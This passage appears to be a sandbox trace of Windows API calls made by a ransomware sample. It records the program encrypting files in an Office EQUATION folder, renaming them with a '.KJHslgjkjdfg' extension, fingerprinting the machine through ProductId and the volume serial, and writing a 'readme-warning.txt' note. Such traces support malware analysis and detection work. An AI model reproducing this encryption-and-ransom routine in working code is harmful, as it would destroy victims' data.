ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0141.617] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0141.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.691] GetProcessHeap () returned 0x2a0000 [0141.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.691] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.691] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0141.692] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0141.693] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.693] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.693] GetProcessHeap () returned 0x2a0000 [0141.693] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0141.694] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f258*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f258*=0x50) returned 1 [0141.694] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.694] WriteFile (in: hFile=0x114, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290f270*=0x50, lpOverlapped=0x0) returned 1 [0141.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0141.694] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0141.694] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0141.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0141.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.694] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.694] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x236, lpOverlapped=0x0) returned 1 [0141.694] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x240, dwBufLen=0x240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x240) returned 1 [0141.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.695] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x240, lpOverlapped=0x0) returned 1 [0141.695] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.695] SetEndOfFile (hFile=0x114) returned 1 [0141.697] GetProcessHeap () returned 0x2a0000 [0141.697] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0141.697] GetProcessHeap () returned 0x2a0000 [0141.697] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.kjhslgjkjdfg")) returned 1 [0141.698] CloseHandle (hObject=0x114) returned 1 [0141.698] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0141.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.699] GetProcessHeap () returned 0x2a0000 [0141.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.699] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0141.699] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0141.742] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.742] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.742] GetProcessHeap () returned 0x2a0000 [0141.742] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.742] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0141.742] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.742] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0141.743] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0141.743] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0141.743] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0141.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0141.743] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.743] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.743] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.743] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b0b7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b0b7, lpOverlapped=0x0) returned 1 [0141.745] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0c0, dwBufLen=0x2b0c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b0c0) returned 1 [0141.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.747] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b0c0, lpOverlapped=0x0) returned 1 [0141.747] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.747] SetEndOfFile (hFile=0x114) returned 1 [0141.751] GetProcessHeap () returned 0x2a0000 [0141.751] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.751] GetProcessHeap () returned 0x2a0000 [0141.751] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.kjhslgjkjdfg")) returned 1 [0141.752] CloseHandle (hObject=0x114) returned 1 [0141.752] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0141.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.752] GetProcessHeap () returned 0x2a0000 [0141.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.753] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0141.753] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.785] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.785] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.785] GetProcessHeap () returned 0x2a0000 [0141.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.786] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0141.786] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.786] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0141.786] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0141.786] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0141.786] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0141.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0141.786] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.786] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.786] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.786] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1de8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1de8, lpOverlapped=0x0) returned 1 [0141.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1df0, dwBufLen=0x1df0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1df0) returned 1 [0141.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.790] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1df0, lpOverlapped=0x0) returned 1 [0141.790] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.790] SetEndOfFile (hFile=0x114) returned 1 [0141.792] GetProcessHeap () returned 0x2a0000 [0141.793] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.793] GetProcessHeap () returned 0x2a0000 [0141.793] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.kjhslgjkjdfg")) returned 1 [0141.793] CloseHandle (hObject=0x114) returned 1 [0141.793] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0141.794] GetProcessHeap () returned 0x2a0000 [0141.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0141.794] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0141.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.794] GetProcessHeap () returned 0x2a0000 [0141.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0141.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0141.794] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0141.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.794] GetProcessHeap () returned 0x2a0000 [0141.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0141.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0141.794] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0141.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.794] GetProcessHeap () returned 0x2a0000 [0141.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0141.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0141.794] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0141.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.794] GetProcessHeap () returned 0x2a0000 [0141.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0141.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0141.794] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ec88 | out: pbData=0x2c1668, pdwDataLen=0x290ec88) returned 1 [0141.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.795] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0141.795] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0141.795] RegCloseKey (hKey=0x114) returned 0x0 [0141.795] GetProcessHeap () returned 0x2a0000 [0141.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0141.795] GetProcessHeap () returned 0x2a0000 [0141.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0141.795] GetProcessHeap () returned 0x2a0000 [0141.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0141.795] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0141.795] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ea5c | out: pbData=0x2c1668, pdwDataLen=0x290ea5c) returned 1 [0141.795] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.795] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0141.795] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.795] GetProcessHeap () returned 0x2a0000 [0141.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0141.795] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0141.795] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0141.795] GetProcessHeap () returned 0x2a0000 [0141.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f3698 [0141.796] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\readme-warning.txt") returned 74 [0141.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.796] WriteFile (in: hFile=0x114, lpBuffer=0x2f3698*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f3698*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0141.797] CloseHandle (hObject=0x114) returned 1 [0141.797] GetProcessHeap () returned 0x2a0000 [0141.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0141.797] GetProcessHeap () returned 0x2a0000 [0141.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f3698 | out: hHeap=0x2a0000) returned 1 [0141.797] 